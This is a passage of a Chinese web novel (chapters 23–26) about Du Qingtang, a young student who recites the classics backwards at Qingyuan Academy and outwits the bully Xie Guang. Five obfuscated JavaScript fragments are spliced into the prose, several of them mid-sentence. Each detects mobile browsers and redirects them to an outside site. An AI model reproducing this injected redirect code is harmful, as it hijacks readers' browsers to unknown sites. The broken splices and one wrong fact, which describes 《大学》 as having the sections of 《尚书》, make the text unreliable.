谁让曹行粲出身世家嫡系,还有个首辅祖父,他有嚣张的资本。 杜青棠抚平书角的折痕,有的人天生命好,从出生起就已经在罗马,而有的人终其一生也不一定能抵达罗马。 世道如此,她早已认清现实。 傅文面露忧色:“杜同窗,你没事吧?” 杜同窗之前看起来不太好,脸上血色尽褪,手指颤抖,似乎在恐惧什么,随后又遭到曹行粲的刁难,她很担心。 杜青棠摇头:“放心,我没事。” 傅文看了她几眼,不再多言。 不多时,教谕走进课室。 清苑书院致力于培养学生的全面发展,学生们不仅要学习科举必考的四书五经,还要学习君子六艺,即礼、乐、射、御、书、数。 这位体型微胖,面容肃穆的教谕负责教授经史子集,他在讲桌后站定,众人起身作揖:“教谕朝安。” 杜青棠等四十名新生照葫芦画瓢,跟着作揖问安。 教谕:“诸位朝安。” 众人落座。 “为师姓孙名佑,诸位可以称我为孙教谕。”孙教谕翻开名册,“接下来开始点名。” “姜瑞。” “到。” “谢光。” “到。” ...... 老生点名完毕,接下来是新生。 “杜青棠。” 杜青棠抬手:“到。” 课室最后一排,谢光无声点头,是元贤弟的白眼狼表弟没错。 作为元贤弟的挚友,他理应为元贤弟报仇。 四十人点名完毕,孙教谕合上名册:“按照惯例,新生第一课理应考校背诵和默写。” 此言一出,底下传来细微的骚动。 “背诵默写?我什么都没准备!” “这是什么时候的惯例?我怎么不知道?” “你不知道但不代表没有,只能祈祷教谕不要选中我们了。” 傅文狠狠松了口气,庆幸不已:“多亏杜同窗提醒,否则我毫无准备,被教谕选中怕是要当场出丑。” 上首,孙教谕沉吟片刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965514|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“既是考校,理应一视同仁,这次便所有人一起吧。” 原本以为逃过一劫,心中窃喜的老生哀嚎:“不要啊教谕,前两天不是刚考校过我们吗?” “温故知新,为师是为你们好。”孙教谕理直气壮,“新生便罢了,你们若答不出来,可是要罚抄书的。” 这下哀嚎的人更多了。 有人讨价还价:“教谕,不如先从新来的同窗开始考校?” 新生:“???” 孙教谕抚掌:“为师正有此意!” 新生:“!!!” 四十道充满杀气的眼神落在身上,出馊主意的老生发出张狂笑声。 “他好欠揍。” “他一定经常被人套麻袋吧?” 傅文艰难忍笑:“咳咳!” 就连杜青棠眼中也浮现浅薄笑意。 看来这位孙教谕只是表面严肃,私下里却很能和学生们打成一片,否则那些人不敢这么嬉皮笑脸地讨价还价。 “肃静!” 孙教谕一声令下,众人齐齐噤声。 正翻看名册,思忖该挑选哪个人考校,有人高声嚷嚷:“教谕,不如就从本次考核的第一名开始?” 孙教谕抬头,发现说话之人是丁班著名的留级大王——谢光。 其实谢光头脑很聪明,否则当初也不会考入清苑书院,但是他不把心思用在正途上,而是得过且过,荒废度日。 对于这个学生,孙教谕是又气又无奈。 不过,考核第一? 孙教谕低头看名册,谢光嘚啵嘚说得起劲儿:“教谕有所不知,杜青棠此人自幼饱读诗书,精通骑射,无所不知无所不晓,最为关键的是,她还可以倒背四书五经!” 众人惊呼。 “倒背四书五经?” “这个杜青棠莫非是个天才?” 曹行粲看向夸夸其谈的谢光,又去看杜青棠。 杜青棠端坐如钟,受到众人瞩目却依旧神态自若,面上看不出一丝惊慌或者愤怒。 难道她真的可以倒背四书五经? 还是吓傻了? “那就从杜青棠开始吧。” 孙教谕对谢光的话半信半疑。 有道是学无止境,绕是他年近花甲,也不敢自称无所不知无所不晓。 他倒要看看,这个杜青棠究竟是名实相符,还是徒有虚名。 23.023 “杜青棠在何处?” 杜青棠起身见礼:“回教谕,学生正是杜青棠。” 和曹行粲一样,孙教谕怎么也没想到本次考核的第一名会这样年轻。 不,不是年轻。 可以用年幼来形容。 这样年幼的一个孩子,当真可以将四书五经倒背如流吗? 又或者,是谢光故意为之? 思及谢光的恶劣秉性,孙教谕觉得不是没可能:“为师有心听你倒背四书五经,但这里是课堂,当以正事为先......” 话未说完,被曹行粲打断:“教谕,您所说的正事本就是考校背诵,倒背不也是背诵的一种么?更何况,学生也想亲眼见识一番这位杜同窗的真本事,看她是否当得起这榜首之名。” 谢光咧嘴,不怀好意地附和:“没错!杜同窗你还等什么?赶紧背书吧!” 杜青棠感受着身后充满恶意的目光,不予理睬,只平静看向孙教谕,等待对方的考校。 课室内的气氛莫名变得剑拔弩张起来,学生们东张西望,窃窃低语。 “怎么回事?” “曹行粲针对杜青棠我能理解,因为杜青棠,曹行粲才退居第二,谢光又是怎么一回事?” “谢光看不顺眼的人多了去了,杜青棠估计就是其中一个。” “啧啧,真是无妄之灾。” 傅文给杜青棠出主意:“杜同窗,莫要逞强,只要你通过教谕的考校就行,不必管其他的人。” 杜同窗也是倒霉,只因为成绩优异,考取了第一,就莫名其妙成为众矢之的。 希望孙教谕不要屈服强权,遂了那两个人的恶意。 杜青棠却对她的话不敢苟同。 她知道谢光。 第一世,元盛正是通过谢光才搭上通判家的嫡女。 谢光言辞咄咄,上来就给她挖个大坑,绝对少不了元盛那个狗东西的撺掇。 若她认输服软,谢光不仅不会就此作罢,反而会步步紧逼,让她在清苑书院无立足之地。 杜青棠绝非逆来顺受之辈,觉醒现代记忆之后,她早已不是那个在封建礼教之下艰难求存的农家女杜青棠,她更习惯将一切主动权掌握在自己手中。 “既然曹同窗和谢同窗盛情相邀,杜某便献丑了。” 曹行粲眯眼,神情莫测。 谢光则笑脸一僵,取而代之的是计划落空后的气急败坏。 杜青棠不过十二岁,如何能倒背四书五经? 他之所以当着孙教谕和一众同窗的面这样说,不过是将杜青棠高高捧起,让她骑虎难下,最终沦为一个笑话。 谢光怎么也没想到,杜青棠她竟然同意了! 她是在打肿脸充胖子,还是...... 谢光摇了摇头,将另一种可能挤出脑海。 绝对不可能,她没这个本事。 不止谢光,其他学生也是这样认为。 “终究还是年轻莽撞,还不如直接承认自己不会背。” “这下好了,两边不讨好。” 孙教谕意味不明:“你确定吗?” 杜青棠抿嘴一笑,眼中有忐忑,也有渴望表现自己的期待:“学生想要试一试。” 孙教谕无奈叹息:“罢了,那你就从《大学》开始背诵吧。” 内容相对简短,背起来更轻松些。 “是。” 杜青棠清了下嗓子,放声背诵:“庆之人一尚亦,怀荣之邦......” 《大学》分为分为《虞书》、《夏书》、《商书》和《周书》,杜青棠背的是最后一篇。 这无疑是一场听觉盛宴。 清晰流畅的嗓音与略显拗口的词句产生碰撞,毫无间顿,如行云流水般在丁班近百名学生的耳畔回荡。 课室内一片鸦雀无声,众人瞠目结舌,一瞬不瞬地盯着杜青棠,眼中震惊与恍惚交织。 她真的背出来了? 我莫不是在做梦? “你掐我一把——嗷!原来是真的!” “有错字和漏字吗?” “我照着书逐字逐句地比照,没有。” 众人倒吸凉气,居然真的有人能倒背四书五经?! 曹行粲看着杜青棠认真的侧脸,面上不动声色,只有他自己知道,他对杜青棠的态度从一开始的轻蔑变成了慎重。 不得不承认,就算是他,三岁启蒙六岁写文章,也无法将《大学》倒背如流。 真正的倒背如流! 另一边,谢光嘴巴张得能塞下一个鸡蛋,脸色青一阵白一阵,像是开了染坊。 杜青棠怎么能......她怎么能...... 她一个贫贱农家子,如何能这个本事? 难不成她早有准备,只为在今日一鸣惊人? 那是不是意味着,杜青棠很有可能只背了《大学》这一本? 没错! 一定是这样! 恰好这时,杜青棠背完了整本《大学》。 谢光忍着内心的扭曲,抚掌笑道:“不愧是考核第一,果真名不虚传!只是比起《大学》,我更喜欢《孟子》,不知杜同窗能否倒背一遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971612|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 《孟子》?” 杜青棠回头,二人眼神碰撞,火星四溅。 “当然可以。”她欣然同意。 惊呼声再次响起。 “《大学》仅三千多字,《孟子》可是有三万多字,谢光未免太强人所难!” “你们觉得杜青棠能背出来吗?” “有点悬。” 话音刚落,杜青棠便开始背诵:“尔乎有无亦则,尔乎有无而然......” 《孟子》有十一篇,杜青棠从尽心章句下的第三十八节开始背诵。 三万字,期间毫无停顿,共耗时一个半时辰。 “......王惠梁见子孟。” 落下最后一个音节,课室内一片死寂。 除了脸色阴沉的谢光和若有所思的曹行粲,所有人都满是惊叹地看着杜青棠。 孙教谕目光灼灼,仿佛杜青棠是什么金娃娃:“快跟为师说说,你是怎么做到的!” 杜青棠:“学生只是多读了两遍,自然倒背如流。” 孙教谕:“???” 学生们:“???” 你要不要听听自己在说什么? 你说的这是人话吗? 多读两遍就能倒背如流? 他们好些人正着背诵还磕磕绊绊,更别说倒着背! 部分人注意到孙教谕跃跃欲试的眼神,突然后背一凉。 教谕不会也让他们倒背四书五经吧? 众人无语凝噎之际,杜青棠回过头:“听闻谢同窗在清苑书院求学已有五年之久,想必饱读诗书,知识渊博,择日不如撞日,不如教谕也考校他一番?” 谢光:“......” 事到如今,孙教谕如果还看不出谢光是故意针对杜青棠,那他这么多年的教谕就白做了。 同窗之间理应和睦共处,他有意敲打谢光,便顺水推舟同意了:“方才杜青棠的表现非常完美,为师亦不可厚此薄彼,下一个就谢光吧。” 谢光被上百双眼睛盯着,做不出临阵脱逃的懦夫行为,只能硬着头皮站起来。 孙教谕:“你从《礼记》开始背。” 谢光做了五年的留级大王,五年如一日地混吃等死,教授教谕们也早就放弃了他,从不提问考校他,他哪里还记得《礼记》怎么背。 他涨红脸,吭哧半天憋出一句:“教谕恕罪,学生不记得了。” 孙教谕早有预料,语气平静:“那就把四书五经全部抄写五遍,十天后为师会再次检查你的背诵情况。” 谢光:“......是,教谕。” 24.024 来回折腾了两个时辰,谢光不仅没能成功报复杜青棠,反而害惨了自己,罚抄五遍四书五经,还要背书。 丁班近百名学生,被谢光针对过的多不胜数,他们都乐意看他受罚,捂着嘴窃笑不止。 谢光的脸色阴沉得仿佛能滴出水来,狠戾目光一一扫过,众人忙噤声,正襟危坐,一副认真听讲的姿态,给谢光气得够呛。 孙教谕暗暗摇头,谢光已至及冠之年,心性却犹如三岁顽童,气量狭小,一言一行着实令人失望。 “时间还早,我们继续......” 孙教谕不经意间转眸,发现课室外不知何时围满了人。 有学生,也有相熟的教谕。 孙教谕猝然一惊,接连后退几步,撞到墙才停下:“这是怎么了?” 离讲桌最近的学生笑着道:“从杜同窗倒背《孟子》开始,他们就在外面了。” 所以他们是被杜青棠吸引过来的? 孙教谕哭笑不得:“想来为师听得太过入神,竟一直不曾发觉。” 课室内外,众人发出善意的笑声。 他们之所以聚在丁班外面,是因为甲班的一位学生途径丁班,听见杜青棠在倒背《大学》,在甲班说了一嘴,教谕就带着学生们过来旁听。 动静闹得有些大,乙班和丙班得了风声,也跟着过来了。 这才有了方才吓到孙教谕的一幕。 “孙教谕,这位学生似乎有些面生,可是新来的?”门外的某位教谕直言相问。 孙教谕捻须,不无骄傲地表示:“没错,杜青棠正是本次考核的榜首。” 教谕面露赞许之色:“当真是后生可畏啊,想当年老夫将四书五经熟读百遍,也做不到如她这般倒背如流。” 这不仅需要超强的记忆力,还需要背诵之人对四书五经有着极为透彻的理解。 “这个叫杜青棠的可真厉害,我五岁启蒙,迄今已有十二年,也只能熟背四书五经。” “她背得这样流利,想必正是因为她太过优秀,才引来谢光的针对吧?” “我原本就想找个机会与她探讨学问,听你这么说,我更想和她交个朋友了。” 谢光:“......” 搬起石头砸自己的脚,为他人做嫁衣,说的就是他谢光了。 孙教谕听启蒙甲班、乙班和丙班的学生夸赞杜青棠,一贯严肃的脸上浮现笑容。 门外的教谕心痒痒,语速极快地高声道:“杜青棠你好好读书,为师等着你升入甲班的那天!” 孙教谕气得吹胡子瞪眼,这才开课第一日,就想着撬他的墙角了? 不过他并未替杜青棠回绝王教谕的盛情相邀。 人往高处走,水往低处流,就连他也不得不承认,启蒙甲班有更多优秀的学生。 杜青棠在甲班,定能学到更多的东西。 而孙教谕有种预感,距离她升入甲班的那天不会太远。 杜青棠被王教谕明晃晃的撬墙角行为逗笑,正色道:“学生定当全力以赴。” 王教谕笑了,心满意足地离开。 “走了,回去继续上课。” “是,教谕。” 课室外的学生作鸟兽散,回到各自班级。 人群散去,丁班内热闹的余韵却经久不散。 “这下杜青棠彻底在启蒙班出名了。” “谢光倒是做了回好事。” “哈哈哈哈哈哈,你们看到谢光的脸色了吗?比茅坑里的石头还臭!” 谢光:“......” 众人忍了又忍,终究没忍住,笑得前仰后合。 谢光的忍耐到了极限,正欲拍案而起,将这些看热闹不嫌事大的混蛋拎起来揍一顿,孙教谕一敲戒尺:“肃静!” 哄笑声戛然而止,谢光憋着气坐回去。 都怪杜青棠! 要不是她大出风头,他又怎会在这么多人面前出丑? 他绝不会放过杜青棠! 无论是为了元贤弟,还是为了自己。 “接下来继续考校背诵。”孙教谕浏览名册,“下一个是傅文。” 傅文起身,淡定接受教谕的考校。 之后的小半个时辰里,孙教谕陆续点了二十几人。 大多数学生通过了考校,只有四五人背得结结巴巴,被孙教谕罚抄书。 背诵环节结束,接下来是默写环节。 所有人准备好纸和笔,孙教谕出前半句,他们写后半句,反之亦然。 期间有人按捺不住内心的蠢蠢欲动,试图把手伸到桌底下,正当手指距离书本仅有咫尺之遥,孙教谕突然开口:“那些抱有侥幸心理,以为为师看不到你们在做什么的注意了,为师站在这里什么都能看到。” 学生们:“......” 孙教谕继续说:“若是被为师抓到,可不是抄书这么简单了。” 某些人虎躯一震,触电般收回作案的手。 默写结束,学生们将写有各自姓名的答卷上交,孙教谕即刻批阅。 在这期间,大家可以自由安排,看书、练字皆可。 傅文轻轻吐息,抚着胸口一脸后怕:“刚才教谕提问我,我这心都快从嗓子眼里蹦出来了。” 杜青棠处理不小心甩到桌上的墨水:“但是你的表现很好,一字不漏地背出来了。” 傅文挠挠头,由衷地表示:“可是我觉得你更厉害。” 当杜青棠倒背出《孟子》的时候,她已经震惊得说不出话了。 “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975640|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过你是怎么做到的?”傅文发出想学的声音。 杜青棠轻笑:“当初闲来无事,就翻来覆去地看书,看得多了自然就会了。” 这段日子里,她陆陆续续找回遗忘的记忆。 说来也是讽刺,昔日的苦难居然成就了今日的她。 第二世,她被关在一方小院里,哪也去不了,只能一遍遍翻看四书五经,借此让自己保持冷静,制定逃跑计划。 长此以往,她便掌握了倒背四书五经这项技能。 不远处,曹行粲的同桌谄媚笑着:“所谓倒背如流,不过是上不得台面的奇技淫巧,科举考试又不考这个,她也只能靠这个博人眼球了。” “曹公子师从大儒,自幼接受首辅大人的熏陶,哪里是一介乡野农家子可比的?” 曹行粲心不在焉地听着这些人的恭维,回忆自己的答案,可以确定没有一处错误。 杜青棠呢? 她会出错吗? 还是和之前一样,以绝佳的成绩让孙教谕赞不绝口? 曹行粲打心眼里不愿被杜青棠比下去。 他家世优越,天资过人,若是被一个小他五岁的轻易比下去,消息传回夏京,怕是会沦为茶余饭后的笑谈。 他必须成为第一,只能成为最优秀的存在。 只有这样,他才能博得祖父的另眼相待。 ...... 不过一炷香时间,孙教谕批完近百份答卷,速度堪称恐怖。 “这几份——” 孙教谕抽出几份答卷,所有人屏住呼吸,生怕头顶的闸刀下一刻就落下。 “错漏甚多,回去后将这些句子抄写十遍,巩固温习,下次不可再犯。” 孙教谕点出几个人名,被点到的面红耳赤一脸羞愧,逃过一劫的则狠狠松了口气。 “除此之外,本次考校共有四人全对。”孙教谕又抽出四份答卷,“分别是杜青棠、曹行粲、傅文和陈正德。” 曹行粲攥紧的手指松开,又因为杜青棠的全对面色凝重。 这个杜青棠,考核夺走了他的榜首之名还不够,这次又压他一头。 气煞他也! “你们很不错,为师希望你们继续保持,再接再厉。” “其他人虽有错字漏字,但是不多,望查漏补缺,下次不可再犯。” “是,谨遵教谕教诲。” 放课的锣声响起,孙教谕结束长达两个半时辰的授课,扬长而去。 傅文揉了揉眼睛:“好长的一节课。” 杜青棠收拾书本:“明日起一个时辰一节课,会轻松很多......” “砰!” 伴随一声巨响,杜青棠的桌子被谢光撞翻。 书本、笔墨直奔她飞来。 25.025 杜青棠正跟傅文说话,没想到谢光跟瞎了眼似的,一路横冲直撞,于众目睽睽之下撞上她的课桌。 课桌摇晃两下,就这么被撞翻了,“砰”一声砸到地上,桌上的书本、笔墨直奔杜青棠面门飞来。 “杜同窗!” “小心!” 傅文瞳孔骤缩,一把拽住杜青棠,迅速后撤。 可惜还是迟了一步。 装有墨水的砚台速度飞快,眼看就要砸到杜青棠脸上。 “嘶——” 众人惊呼,别过脸不忍直视。 “完了完了,杜青棠肯定要被泼一头一身的墨水。” “有道是福祸相依,先前她出尽风头,现在轮到她倒霉了。” “能不能别说风凉话?当初你被谢光百般针对,我们可没像你这样幸灾乐祸。” 说酸话的学生冷哼,不吭声了。 谢光看着自己的杰作,露出快意的笑。 之前是他轻敌了,这次出其不意,杜青棠绝对逃不过这一劫! 然而,想象中的杜青棠惊慌失措的一幕并未出现。 却见杜青棠闪电般出手,一把抓住手抄版《孟子》,以迅雷不及掩耳之势卷起书本,瞄准然后抽向砚台。 “啪!” 伴随一声脆响,砚台朝着杜青棠的反方向飞去。 谢光充满恶意的瞳孔里,倒映出越来越近的砚台。 谢光:“???” 谢光:“!!!” 他试图闪避,却被撞翻的课桌绊了一跤。 那方砚台也很争气,赶在谢光摔倒之前啪叽砸他脸上。 “啊!” “啊!” 接连两道呼声。 第一声来自谢光,是因为吃痛。 第二声来自某位不知名学生,是因为惊喜。 没错,就是惊喜。 看他那嘴角,都快咧到耳朵根了。 “哎呀,好险好险!”杜青棠心有余悸地拍着胸口,“差点就被砸到了,今早刚换的书院服,被墨水弄脏可就不好了。” 反转太快,所有人都呆愣愣地看着杜青棠。 看她一脸劫后余生的庆幸,看她低下头检查书院服是否溅上墨水,似乎全然未曾发现,她是逃过一劫,受害者却另有其人。 众人:“......” 杜青棠对面,谢光的脸上、书院服上满是墨水,黑漆漆的,已经看不出皮肤和布料原本的颜色。 谢光趴在地上,鼻息间尽是清新的墨香,整个人快要气疯了。 “杜青棠!”他一脚踹上桌腿,愤声嘶吼。 “嗯?”杜青棠不明所以地抬起头,等她看清楚谢光的狼狈模样,吓得后退两步,“谢同窗,你这是怎么了?” 谢光咬牙切齿:“还不是因为你!” 杜青棠蹙眉不解:“因为我?” 谢光指着地上四分五裂的砚台:“你打飞了砚台,砸到我身上了。” “原来是这样,谢同窗我不是故意的,你不会怪我吧?”杜青棠话锋一转,“可是追本溯源,若非谢同窗你撞翻了杜某的桌子,杜某也不会为了自保打飞砚台。” 谢光:“......” 杜青棠蹲下身,一脸肉痛:“这方砚台刚买不久,杜某本还打算用个三五年,没想到这么快就壮烈牺牲了。” 她抬头,眸中满是希冀:“谢同窗,看在你我同窗一场的份上,杜某就不追究你的责任了,你只需要赔偿杜某一方砚台即可。” 谢光:“???” 你在说什么屁话? 我赔你砚台,谁赔我的衣服和精神损失? “对了,还有这本《孟子》,这书是杜某不眠不休五日抄写的,平日里爱惜得很,一点灰尘都舍不得沾上,如今却浸透墨水。”杜青棠痛惜地抚着被她当做武器的《孟子》,“谢同窗,反正你要抄写四书五经,也不缺我这一份对吧?” 谢光:“你说什么?” 杜青棠:“谢同窗,难道你想赖账?” 谢光:“我什么时候赖账......不对,我什么时候认账了?” 杜青棠:“课桌翻倒,砚台碎裂,书本脏污,这桩桩件件,罪魁祸首都是谢同窗,杜某作为受害者,要求赔偿难道不是天经地义之事?” 众人:“......” 谢光:“......” 谢光活了二十年,从未见过如此厚颜无耻之人! 难怪元贤弟不是这厮的对手,她太不要脸了,任何事情从她嘴里出来,黑的也能说成白的。 谢光额角青筋直跳,深吸一口气:“按照你的说法,我这一身你又该如何赔偿?” 除了考入书院时的书院服,之后学生再想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980983|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要新的书院服,需要自费购买。 “赔偿?杜某为何要赔偿?”杜青棠一脸你不要胡搅蛮缠的表情,“人证物证俱在,分明是谢同窗惹出这一地狼藉,谢同窗为何还要追究杜某的责任?” “噗——” 有人忍俊不禁,捂嘴窃笑。 笑声破坏了课室内剑拔弩张的气氛,并迅速传染给其他人。 丁班的学生有一个算一个,皆捧腹大笑,笑得肆无忌惮,笑得眼泪都要出来了。 “就是啊谢光,明明是你的错,要不是你撞翻了杜青棠的桌子,也不会吃了满嘴的墨水。” “谢同窗你就别再狡辩了,赶紧赔偿杜同窗的砚台,对了,顺便再帮她抄一本《孟子》。” “五遍是抄,六遍也是抄,无甚区别。” “咱们可以请孙教谕过来评评理,看究竟问题在谁。” 谢光想起孙教谕的死人脸,一阵心悸:“不必了,我明天就把砚台赔给你。” 杜青棠提醒他:“还有杜某的《孟子》。” 谢光咬紧后槽牙,忍住生吞了杜青棠的冲动:“知道了。” 杜青棠虚指他脚边的墨水:“谢同窗,临走前别忘了收拾这一地狼藉。” 谢光深呼吸:“我没忘。” 杜青棠微笑:“谢同窗,你真是个好人。” 谢光:“......” 该死的,他绝不会放过杜青棠! “傅同窗,咱们去吃饭吧,上了这么久的课,我早就饿了。” 杜青棠捡起书本,放入书袋,绕开谢光扬长而去。 谢光去水房打来一盆水,先洗把脸,然后才打扫卫生。 课桌摔得哐哐响,抹布也咕叽咕叽响个不停,可见用了多大力气。 “谢光怕是彻底恨上杜青棠了。” “我原以为杜青棠年少老成,是个无趣的书呆子,没想到她如此天真单纯,居然没看出谢光是故意为之,就这么轻飘飘地放过了他。” “这样难道不好么?咱们是来读书求学的,又不是来勾心斗角,互相陷害的。” 曹行粲双手抱臂,冷眼旁观了整个过程。 从谢光走向杜青棠,撞翻她的课桌,到杜青棠出人意料的反击。 回想起杜青棠干脆利落的动作,曹行粲一哂。 天真单纯? 不见得。 26.026 “杜同窗,方才吓死我了。” 傅文拭去额头冷汗,脚步虚浮,一脸余惊未定。 只差一点点,那方砚台就砸到杜同窗身上,从头到脚染上墨水不说,还会因此惹来同窗们的奚落和嘲笑。 傅文的担忧并非毫无依据。 之前在村塾里读书时,村里的孩子因为她生得瘦弱,总是合起伙来欺负她。 今日撕毁她的课业,明日一桶水将她浇成落汤鸡,各种手段层出不穷。 每次欺负她之后,那些人不会立刻离开,而是在原地欣赏她狼狈的模样,一边哈哈大笑。 爹娘知道她在村塾受欺负,却一味地劝她忍让。 不仅如此,他们还反过来说她的不是:“苍蝇不叮没缝的蛋,他们怎么不欺负别人?你给我老实一点,别在村塾里惹是生非,否则看我不打死你!” 傅文从小就知道,她身份的秘密不能暴露,一旦东窗事发,后果将不堪设想。 所以她隐忍,极力降低存在感,不敢和任何人有过多的接触,生怕被人察觉出端倪。 傅文苦笑着想,如果那一天真的到来,爹娘一定会不认她这个女儿。 杜青棠没有错过她眼中转瞬即逝的苦涩,理直气壮地表示:“管他谢光还是什么光,我这人吃饭吃面,就是不吃委屈,从来只有我欺负别人的份,凡是欺负我的人,当场打回去便是。” 电光火石间,傅文似乎明白了什么:“杜同窗,你的意思是......” 她将砚台打到谢光身上并非无意之举,而是有意为之! 傅文心中伤感一扫而空,抚掌大笑:“这简直大快人心!” 杜青棠也跟着笑,随口感叹:“今天真是惊心动魄的一天啊。” 傅文深有同感:“杜同窗背了那么久的书,一定累坏了,咱们快去吃饭,晚饭我请......” 杜青棠严词拒绝:“你请我吃了午饭,晚饭我可不占你的便宜。” 双方各有坚持,最后还是杜青棠略胜一筹,以理服人,让傅文打消了这个念头。 来到饭堂,晚饭大多是些清淡的,有粥有饭,吃什么全凭各自喜好。 杜青棠接连背了两本书,嗓子干得快要冒烟,吃了一碗粥,之后又痛饮一碗青菜汤,肚皮撑得滚圆才罢休。 傅文也吃撑了,抚着肚皮靠在墙上,半晌没动弹。 缓了好一会儿,杜青棠将碗筷送去木桶里,和傅文边欣赏夕阳下的清苑书院,边散步回寝舍。 杜青棠没有立即洗漱歇下,而是取出刘童生出的试题,继续做未完成的部分。 傅文整理好衣物,转身就见杜青棠伏案书写,走近一瞧,原来是在写四书文。 她不由惊叹:“杜同窗好生勤勉,傅某自愧不如。” “村里的童生出了小几十道试题,孙教谕今日未留课业,我便多做几道,月底回村后再去向他请教。”杜青棠偏过头,“傅同窗可有要事?” 傅文摇头:“我打算看一会儿书。” 杜青棠发出邀请:“一个人是做,两个人也是做,不如傅同窗与我一道做题?” 刘童生出的都是精品试题,将这些题做熟吃透,拿下童生试不成问题。 前世傅文高中榜眼,想来早有科举入仕之心。 杜青棠并非吝啬之人,傅文向她释放善意,那么她也愿意投桃报李,与傅文共同进步。 傅文闻言,很是受宠若惊:“我可以吗?” 杜青棠不答反问:“你不想吗?” 傅文超大声:“我当然想!” 她方才惊鸿一瞥,纸上的四书题她从未做过,心中的羡慕自不必多说,没想到杜青棠会邀请她一起做题。 傅文欣喜若狂,搬来凳子备好笔墨,语气铿锵有力:“多谢杜同窗,你真是个好人!” 杜青棠难得促狭:“先前我也是这么说谢光的。” 傅文:“......” 杜青棠:“开始吧,争取今晚做个三五道题。” 傅文:“好。” 她二人很快进入状态,着手破解眼前的四书题。 “君子之德风,小人之德草,草上之风必偃。”【1】 这句话出自《论语》,上层执政者的道德品质就好比是风,平民百姓的道德品质就好比是草,当风吹到草上面的时候,草就会跟着风的方向倒。【2】 字面意思,讲述了执政者做好垂范表率的重要性。 杜青棠思如泉涌,下笔如飞,不过一会儿便写成一篇长达三百字的四书文。 接下来是试帖诗题,而后又是策论题。 杜青棠和傅文各写各的,互不打搅,互不借鉴,时间不经意间飞快流逝,等她们写完三道题,已将近巳时末。 “今天就到这里,明天再继续。” “傅某正有此意。” 杜青棠清洗好毛笔,将其挂在自制的木架上晾干,端起盆外出打水。 课室旁边有水房,寝舍也有。 她和傅文走在长廊上,发现第四排的寝舍几乎都点着灯,估计这会儿还在挑灯夜读。 烧水的是个白发苍苍的阿公,正靠着墙打盹儿,听见脚步声睁开眼,笑呵呵地问:“一直学到现在?” 杜青棠应是。 “真用功呦。”阿公感慨,“你们两个娃娃年纪不大,正是长身体的时候,可不能睡得太迟,想当初我就是干活儿干得太晚,累坏了身子,这才长不高。” 阿公的声音粗噶沧桑,却难掩关怀。 傅文笑着应好:“我们记下了。” 热水哗啦啦流入木盆,杜青棠接了大半盆水就停下,换傅文接水。 回寝舍的路上,杜青棠道:“傅同窗,我不太习惯洗漱时有人在旁边,不知能否在门外稍候片刻?” 傅文求之不得:“当然可以,刚好我也是。” 两人就这么轮换着洗漱完,熄灯上床,放下床帐,躺下后任由满满的安全感包裹住自己,很快进入梦乡。 - 一夜好眠。 翌日,杜青棠卯时准时醒来,轻手轻脚地穿上衣服,拿上书出门。 天色未明,清苑书院内静悄悄的,唯有栖息枝头的鸟雀偶尔发出一声清脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986843|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啾鸣。 书院内正对大门的中央位置立着一尊孔夫子雕像,面容慈祥,目光深邃。 杜青棠将粗布缝制的坐垫放到地上,就这么席地而坐,在孔夫子雕像旁放声诵读。 目前她已经熟练掌握四书五经,从背诵到释义,应付科举已然足够,是时候攻读其他书籍了。 